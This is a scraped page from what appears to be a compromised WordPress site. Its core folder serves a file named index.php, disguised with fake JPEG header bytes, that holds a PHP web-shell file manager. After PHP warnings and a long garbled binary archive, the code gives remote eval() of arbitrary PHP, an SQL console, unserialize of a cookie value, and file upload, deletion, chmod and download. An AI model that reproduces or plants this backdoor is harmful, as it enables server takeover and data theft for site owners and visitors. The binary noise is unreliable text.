???????????????????????????????????????? ???????????????????????????????????????? ???????????????????????????????????????? ????????????????????????????????????????? JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ??? JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................
Warning: Undefined variable $auth in /home/londmsjj/tabletalkuk.com/wp-includes/Requests/library/index.php on line 691

Warning: Trying to access array offset on null in /home/londmsjj/tabletalkuk.com/wp-includes/Requests/library/index.php on line 691

Warning: Cannot modify header information - headers already sent by (output started at /home/londmsjj/tabletalkuk.com/wp-includes/Requests/library/index.php:1) in /home/londmsjj/tabletalkuk.com/wp-includes/Requests/library/index.php on line 333

Warning: Cannot modify header information - headers already sent by (output started at /home/londmsjj/tabletalkuk.com/wp-includes/Requests/library/index.php:1) in /home/londmsjj/tabletalkuk.com/wp-includes/Requests/library/index.php on line 334
PKǕ\D?M]M]index.php.php.tar.gznu[iw#Ir 8VT#H,v(02An#3 @ \չ~}a_Y?F%=m1ȈpwssssssssdHN425n,,=ˏ9f$ɬF%cG"%Ij/O$r Q_H|{ D kE)ToQ 3'z7ϹbկWD7_k\~?ov}s7ί@i/@oo~k׿&췿o>~ P~gį P_o/BkPo~7F$ﮨOAOOshfoD@1qg)D |%T~7pGuV7 I?/3Hzcg gdO`ބό=Ao[M?oGDP'r,KHl0yz$IEfE <12dV@3n%X`ye4^>?^3QT)Qnûn]~ 5/eBpWF{!σ6G"Kbo(ɵdԨ)'(C:AG*2"+̏ƢBVUyf8o6$i8 H 3a )494H0 nSY NBgr@)HBf`!P A1Lw.X4/ rk0툻JPqi_Dnsc9#.%+Ev:=Q hT~T C[Ā V Ovi! $[xx(j$OmRҀB/GǎJ/sc`*%ZA?*bX@l 3ӓ0d)+0,`fC`pp|s5bŮ+/xa[*jVperֶ<j'L|zy 9V'!;9'3z`E5yQPVgj 57sjMքN'}Sk*hր\\k|PEYxLײ*D7K``G"vE86~7MB+6|-|| Šp2X90E#j,/} ꥦ~g켺Bδ3j-[=s!zZm@1B~0P[+uK<=64J`ªS/k~ę kp1UIH#*pinčTS>2;V%W3}xgXi%H,d` ? `5h\ cV+0# -kM@+7A%E-v~7aMV:Wx&Q4["#j H3} PyLHz5JXM9AbPm YQm*Z+;򅈪 9AiUq_U8ZLɊtoy ,i/" L XK8F5ހ.)9PWG*0sVHnC 4^fT}?X8tۀ=?VY @rK`_ bGUGbyx.sa= \DKh-:X9"?~g 8ZhM.0nI(W.~{Bg0c,,W6TV^o„)Ɩ'5fG=45Lk7 B²sa9Fc~3٭в <@@g+- .#<p_h6mÕ g$v- w0'C3 k a"7UQ @_6CA' f2A'g*l QPଁ730MNRF,Yo -TRVBv}eݖ¬b.m5jhZD(`L_ з[s~b:#26jj0De_%AfAiI F)#D@u9Do J@I]wxL*1I KP+FB/ ?VA uM:AN>=g\zt9 YxVFH {( i{Gvp})Du x7'xЮ{Pӝg@b.{BK@($ h7P&<5PkB`׏CZ//nWYaP<;XT';0薬\+LkjAĵԃd)J3E'|çғ_/*vr"I'D~dJea,.Y;4$+USHB'X=5 ;q5[,u\aDQ@/a@uQ/^6 .X=(ºϷ=EuHӷAB:EY+ O"8qݨ [vb5"Y;M"BU272 LUʹl㥒U/}d ەm5.yfhnaRư[?`{AusMŦv]r$|4&p /WaG{yٗ(wl&A84 X(m_)-@XK/N[U: #0,p#b+2"MH:02;`)^zF',* dhWDK.@%)i\+%+@w0̑γK`|I$T'T?,h:=h1I00Vzm'p=} 1*?q\h,X8gR+?7 f5Hr=OjJR{dxCp SY+Zn%R9\v2靃F_vw12ʍz| [ۂ\$\X՚`H+{l]j-b^y)Z;d~b R[ ,#G𨴛+dp wgaeP8=2.*iiz^e|tI3'-I?TvJ9=d"1L]:pO2FY!\u3AKfsQ+f9yУβ;ݾ׉mtB'PdN|p U~Ul+bw*bkf9nY~0Z۝ J9VEȷKrc6,AklB7WKf$^R seƾٴ)UQqu%+azF\.G *)]2̄ t9#b/\vڥH'W}|Y)@rlRMj56,]/F|G7,I(0;T=#oiqmfƻf'4'& M &+ sG)_3f ;gn9a]dLc~Xͨu1fe>_k~?2k^BzV32-VH݁p# 7 Bʴ 8j  ֑+Q0FЇdB+] X9X7 zp+ K5tR5GP-iv(|hԪK%lެk;eCAjNV0/P_ݣyΆKjkc d2odugFC )RY mEuu  } (^GeyO/k@av jTnȝK?|.p{'v棖5CZݙg1mC8X@aY7|5umlCXAY7% M**p}zZ:=TLXUB heF|YSՃV172YQ϶?'@'=fwx^p `h[UO@up K;s:teH̓dnDJiGhơ\zpnDet h?}d*T{+0C&UT8 ]yb fpF4GjX7LmMgX4;PȂ@0 J!fI-hGL4r)Рcu3*u?/ dP=fP΅G5~_йWTAYOg d 8 ~AC8 b. (rUíxaA$o6:>4ӻ̂L~$l4ӏ4SH $k O0Z98&$d!3>0&׏GSb}:0z; _s:df,M3m,acl996#+;P&XAct_D'q${>d@ ޒEmTOGsߡΌffF^5rךTe.3#F<U1:f:s!4` L&ilڠwPrY~xiGpiVs.N.`uh7CDz* 7 ;ւz%8q}w )U&a X87^a?h:5^8ev֑, ȩftWUP=Ek^pdgn.ZPDڌVJؙƒ3>ڷl Zs/ImLGOؿ6e1C̵QBeyȩIRl-Tp NjF|qkDB  U1vyۋbh{ݒ~Uh+#SWo?~|t}%ϻˑШǹS /LVXUQc_9wtvPj/iieX0U/fQ`FF dn9Zěchwʤ4qN*{(+[L5g')uNucva\iţ`:>%qs 4?t.NU_H-:PhWs&THbdd8qȉbC\&n@X柎g]Bb(q<\ ?I>%ק>]~x|Cn%ǒ .Rz?۰fN4U'.m6J\q$@=&uC0Mފ&Kc z.sSk 4Dh1a{wTlSݦITu- 0*-K칈`y=Ij9nq ɂUFL/<ŢYʩ 3S8ل\fFRlkca9by$sV})d/I|V斈$R:jn7!m9ᚲ曢ۡ䀖<_1S❒#Zh&! S\ rQA1=pcq~߼Ztz}A{(jujn*@k,v|na=1R;'(<>߫eZ}z1! |8l4Ѷ0"cn}`vĔ~ ]-Ae ,,o$<~70I1"jchUFHb݄ ӝ 1 ,VN/D/ 3!bˈcG mRZMZA3Og:`3lcUm*.oZAߨV,un1 &W` agD,` | wCb6uR:W+kr-lkU\|VV.^ff/dx-_36a ̶;j@!cP2;f KUo$iq}ı'PU?Oz]:>4*^a +4{V\V;@>rwݹ> q>+niI&9d M\#=(LL^rLQ !W]䣞ePYf`<:0{ ИI1 X<J_n@؝±;ם=>mXhj I"x93ڟ<:F2(D`Z8.|3 3h. rg0o/wܾ jM|~;M|LR'd/Pщ91l-""VQjvfZV4p? Fwp;$1g85QsɬL4"lP:D.zX^)ErA%"Iq=dBF@'(3™Q^\Dp+-(" /l2djG@wpgj&L BlaH̔"8QHZg+N Iࡃv4F0 &N5S,p5wœUr`0i[!6eMg)si6,Zuh)Y8lv:|Zm.+nVR 9YRmYIʜSwT%~0R,8d:2fu;E&ˤ3X;bJ-=l= ӹ٪يE)YL)Z)d{IVR%׍7N8[gt1IfS ^d gʃ@y%d>Ov\4HtMh{8htwU.nkթ̤a1YNL-T7bgL6bq_ %!(qX(x :2cJnrtڿK~yEkrTroR$9Ŷ\08S D)Z @1'@{c83j9D.xi!/$)!%"6T<Fj<%[o!g{E"\v`O&a~ˑ.闼POr}.fAϧ[k:C<˗a!^ 2Ini߾mJ^Zx.0vJҸ6EHImn4S=h(6cYn:O*sUWwSfkk\j De@6QXlq*~:y v睯=RǂRpޔ*n݉8Vl77mJR ?N|OӅaAAj\Zz[ldME:#a$gh\Yy#^ A"yl/ FVdMvHR0vntd2q5وtg\/ ZMƄx7? <*P tfVjj53re VT_-˃o?ÛHQLN5PgIiR+Wdq̺BGu|S>/*7WQED^hf'Kz4J %+ &?Ѽ)[oV m_!3 3kqeVRsѪ]^.jnm|.ǡ-*ϭP\^4izwgrߦG/V T**L|lK׮|zM5tLJ~3 zM }\_zݍyx{+a LKVtp_۱缹J Nj=O;To[z Xqh8ƟFJTVN Ub^e0(/I|y UC¬M)_;߯'`zڑ0\| {k6W2oE걁2ҽ,'vp]+eXd,:B V09 [UyVja]jm\STyRl^-/d*狁lu\kt[|_,vW³4ZwL@/k&Zy߾^+Zk1LkaC/}dFe)5&Taz$ts iIsE|6DTa/+jIRJVhX rw{5*.慰4Z*v\)4ۘR\J`0LDߒYi7 ȉM+܄ٌ^?Oz:7%on,(w',̹|E0MVCyaF@ 2+jy~f/C{r-/rxR-U4:smؐ<$_o-f5QL˽Bߛ639|jԋd;nۭ{p"?{`=y^+|}_ n[o%I_Qo[n5Ĉo\^r{_:wC>VLArd"E X|x*ܔJn/7h)vlѣuc͸4Ʉz 6ξSALОHp^ d o'Y 6M_/ziv謿\"@pMׄ1&ʗJ1F (i*L5e8~Az3FF$' ;$%:kGwx6#7h.Lu7B|-0X0nlP?3LqJ>3|ꭵy,#=߈=d%%Efލ'5p=#1-7(EPF}F'czXmƊ@aimJbl/X6|P%r̐z,IFUNxgg1Xw]j ŧ0Y\٘m2|T+}cv; uLn+zŲfINS^ش}zX21Q)>d}J;NY#.~_/!-,}x wX4Pﺛ ̋ "%r=G <ZU9#M{s&@1d x58 90Ac'%JnOZS-g+>ymJp6z|w,bAFYU,m>FƤyK 0SXZtd72sJuv+ړ޺u+l9+֨XTQgn_ϙAaQ~Q![ Fhr N=;V.VYA-|H/}Lw،r_W3|aWMr(S>Yl6'QQ oD}4$o+)&r\Feg[Wo4Kű}(*TRvi2-+>_=ғdl{OX 2j{!6s ܆\0҃*mY'\h)e:}1!,b -[/_l!B~b -[/_l!:[H{g0d*Pm!^#ۍި i,.}"-̚ 9$Pm=,r`or>,|.])zhfM݃;) I2<sGLc^b/&ޛ~+3d3l6ya J+vIFP s/mMv^rR mfa0~a߁*סM?Ȭt!Y/k4.+ƇmWX ?Ϟ1b:M۽4 is]E߱\/'L[r/x2. K,9eC9!B;vy䥥TOΡ`Q&(Àg;~ZKRHoaew#:߳KgrHAD?$[,UUʩ8*$JhWb+w#*`d "|,FOnkYLUcv}Lc>hxuF[-|#qme~J^ 6{hZG!3fd QTy#Lz#H,1ҤxUYSx7hf52ky+)*6l3YһA vZn-W^Rbr%^:UTjm_H)b+Ym2Ɛr8\!6N}ئ(ÐW ޘDn;rһh?W)2ƓW 0 ?h8 t=>olEG%Yx/+~sϭa Y6 !^ r$ӭEq)3r:ͼ E`0.AGT@;/6 G%d^>:0ggnkc<|nfsR:_zl! +*9 T:/׶t]>J"p)rjF r|g@Dn -VI@at^T(akUYRL.qia)pK%}GJ`o>:bj-6́*ӣJP8ZN'?RU Rm& !+=Y ?kMCmRj?5J!Y:PsyPll A1$גN,Ӄb1I R4GqKj]jAldp Ń;V &25 Ä(c&CW*5OHɢ=/pAw=?9{j~pzm0v$Gw J '@[_?|B}ZV~sO C&Kz ͕֜8zm ݇WȘ.bA-0KbЊ.B s@ }?".mZp6턑\KJ,WϘC/õAc8q/R%QCGKb2kЉ,B6Os/e (bDz"u*(x(P*Ԃ1ˋ[!V-:/ aCP:+V ^F`h@p@l0 ˳f3u2Hߍũ}a?́Լ'I%3N ;-pJ@O.vO۠ٵe;^.X 4:;mnÄ" /jK.ƾ LyH;j}kt#D2UO8Lkd}z֚\'tC*$(i>fIuKHT'>~B4YHۧ:c'>>ت|Y.@j#@ F4!R@ʘ8m , h@PSJ }Ӏ8*A!~}difs"t ].űvC4[ @ުWmQ~k!QI n}c #9pGx1^qւ)!0Ng O ,>fmRqMŬR'q'?=f 0& ?{N#霘2ڝ,H4f*x=/kZ xN5;|cFو :F&=Kw =sR䑔*/rKN#&@LH,!Peke*0hZKĔb| S=%;,)ۛYg@*[󣸣>GuԶy#R)FgaFĶdN{ߩW8`E^2o'X];O/Ou (>' Dh3bʟ@ %;qeFMt^GG]c]\>s6,a7]w8jEݙS$`wmY(Wƽ]MZ`I^%R$GW+F{LPZih]d8izxۘ r٠@%,HԢ`ȔhiCG-ēj Q?//֩ >.~?96 w0N\6IҸam=+$7~"j-U3"Wmg lzl]u>}OUN}4u\rR?zEBɪ=I&,,_G*+X1c\#sTD (=Gd 'uRgHA}"5ۂUBi䇥_6aMVIl/RIwQ3iX-ljs>J3 G9j<~YmR>k]1. , cMߢ]@L,*)%5R%5EJ%墳=c>{ еmYgݴ2BAuܸ8~˞m;ʴ}jk/n>}೨=I-gSw$ * ,DY]63q–£@on6Ʌ}器@ۭdf `>ep0 4}Y- ]Сd$AmEc }@qJjI.ّ맚 pb% sXh 5Cڽh7mWxKӧulUU?@yj22x\ٮ=f@{6C;6ptAaM9W;hh܀AZ$ i֣uۀ@puBZaAo<)({`ZU(6:|-c +:L7ZYPte;(cn=a1 R6?2t_Zt)}UN`?[>}tB{wD̦۵_O6 Bso _d C@~2h9M~r$dAkbYl m PL 6&gu]0{V t`t4<Ļe#+%ȡi5%}j:Ĺ_/8#cdd sq5qB>7?;v^OJ*H<!T@ksF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z5wg \X|*w0M9LBPٰXwN +EMLTt W\-}*uOVžDhUftwX!-i!Հk cVI8lĝMP(MKxO]C๜Z9{TǼ>c?~( c %x}u"!70L*b0xlIL=TBD89nGOZV }A5l3@'q^ҦK\(gb=@Dk3\w[U!qa#V=?JGƎW|'p И̨ŤI.Rִk Lxkԩ8agyV?!%ۨIh^ ][*F`Zj8ډ?kX?Y$ P5vK*Nݻ\z<`3d;N- t뇻LX\2!GNݜiAۧ8zG󓪙840΀]lZNKMu %GǢcM=LCꝥ YCSIZrL.ɀThWS#I@hC# x[.@WnGp5йd0F;g9>Eڭu׆1 M@Y/g&Pi( *\b80[`~ըcI5cڂI=r97UIu-S*e[tHCLHJC1N?YuVuk >*Ԕ8#UY6(11@B^GgТ: cO;?ce=VVӜ擌"!]7o_U4C_[T;|\Xk ]_6ÀnIjH`foƇ\s]uAsSH푝[?4 P4L{MɶO#}D;0M۟;Zec3%2O@6hkC,B-0Q5eɈS%L?`kc ='_~nӰ^cvdpkWtC`VMcbjc ^ӂz|DuLa  kuê s?5'G0@<9ļ,cC =XCq3p(Cn(x+ h>XH@v1PF1"S>ɥI BRԇ-`]Vثsx xuG>A]@z-'5md9#':ms]*WhǟGA0lzBC ȕ~yvaR6H`8wȨ؃x ,O ;dF` k0{DOLJ#!-wV"*^@[q#J{F$xV?|:e$ @=qm y:Q͒F\;fCpv).bW\t0uq^B'#5`rBH|ώER`k[Bh7@ z IE{ _C^5`;N* s--|Bjdp|)QS@q]^`>ݱ9P:q{b#)h]@ `pOO`r8H,vhJ7%G뵦ٯvq =zS4s'm__d'(,&KWZc-p<$R oAP:N;X7.G$GVElІ2N`b}in`ҁbPcٍ-m~ȼİnw8+lbh~Z)DP͍E4m\j3>z!nk&Txʳ$jAy$#&Z \sD &,+(/":Z:5"zsB9A靮RSM{"QC[ (w\-Z\ ɨ42FyAVih0/TAӕ^QG"FH,WFoM؏$@4rY`pi'APq)B:ꧨfL& 6QN01g10W!P}4i Nm;)ۥxj *8[I0=j,j$3Z$d#8&Tm\Ujkz*N`56&$CRx&if*;faStZ/Y.6bh w\9/`-D6O@|ӬcY0HuZ5Ϫj4w}ZEaݿ*Wb)Y8 Ӈ4jdeCU7/&x`NV1t <~ .!>lgnc~1F•0떔m̨5 ,AE'ZUj3Vh>ڤfIc9%7tYoђOҭF:6\UsY X&82%BʧOP@>ՠĂa0x˴ ݜ@yGkK{/aXJ9jEM1ԓPi3a)4<tvތ6^ZпY|NJxij\_cLt=B߿b0/k1OScmkʲ|s@=VZ!kpί5I`H2TOܘgz6ԃΆs.->z`Zp CO8;eqnKV%:Z3IGyDqʼzUqV~ z24)Du+0M,~<1 N@*K=R#zB< |pWr#X<Ll06` 8懓 #bxyV )'5U3,КKA7DqqfUXf f1 pNE6̈́@u3:&.$uD86AONi2( 3wHR{k*XK-KfUy-,_]Ak&Ic@'Xjodx KC> {ZVh[P]wvp 8OTr6L,S=g֝7lz [(Ӟj6( f9 ڠ։ٝN m͠UHc:n<3`@Þ.m`@0M}'Gƿ'ԓmǓ~T"ۆO*W'ˢ:"̺;Gi..г_WPt{YY0 [0Du X{_ĥ/^QL*W n cv)=18/mwJ)ձQWeP5Z& k#0yN?^6 ^kȤ83Mٵ_WMLhS0UumLCCMwb4w?/dz+BVhgNuE5Y#=S}gL=4fj$:sWĶΆ>)5xICGee2)B*Cr d`fK(:K6k:N /QRkb׳{HCв$b`0 pM䣂8;(Uhfbv~s(ϧbK_Xs6T"&GlK 3L/o' :d[hzNqU}0+* g 9ti|J,[A3_)F6; wnx]_fPצ"9N*Iz q:`PpҲe&DXl< ^\9l!x Iłb<r0r MJwd.BzOZ,/Oܮ(9L*BæzLq$Ii+0xp̥p{a’AqX>g&m)ia@[1*Z V&F{xt,_/+`W&ʗN'_̹H\(MMEyBQ./ni&t}h^y8=:@oGsNۑˬǽ; h>ZVOzЙ΀Iuo`.z+e5򻴛A4gfphcʛjzX)ơ"qmB4L^~%Ux#r/V۟ьC֒vޚvbTN4êOu /A`gu2ftթT+yƴ3Yk[T+L]?9fʩ'*8] S3S߰Wǩ/f6o!{脠7Nq|1) //?o7<PKʕ\-I<< index.php.tarnu[home/londmsjj/tabletalkuk.com/wp-includes/Requests/library/index.php000064400000232705151630473350021745 0ustar00???????????????????????????????????????? ???????????????????????????????????????? ???????????????????????????????????????? ????????????????????????????????????????? JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ??? JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas ..................................................................................................................................... true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/xml"); $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '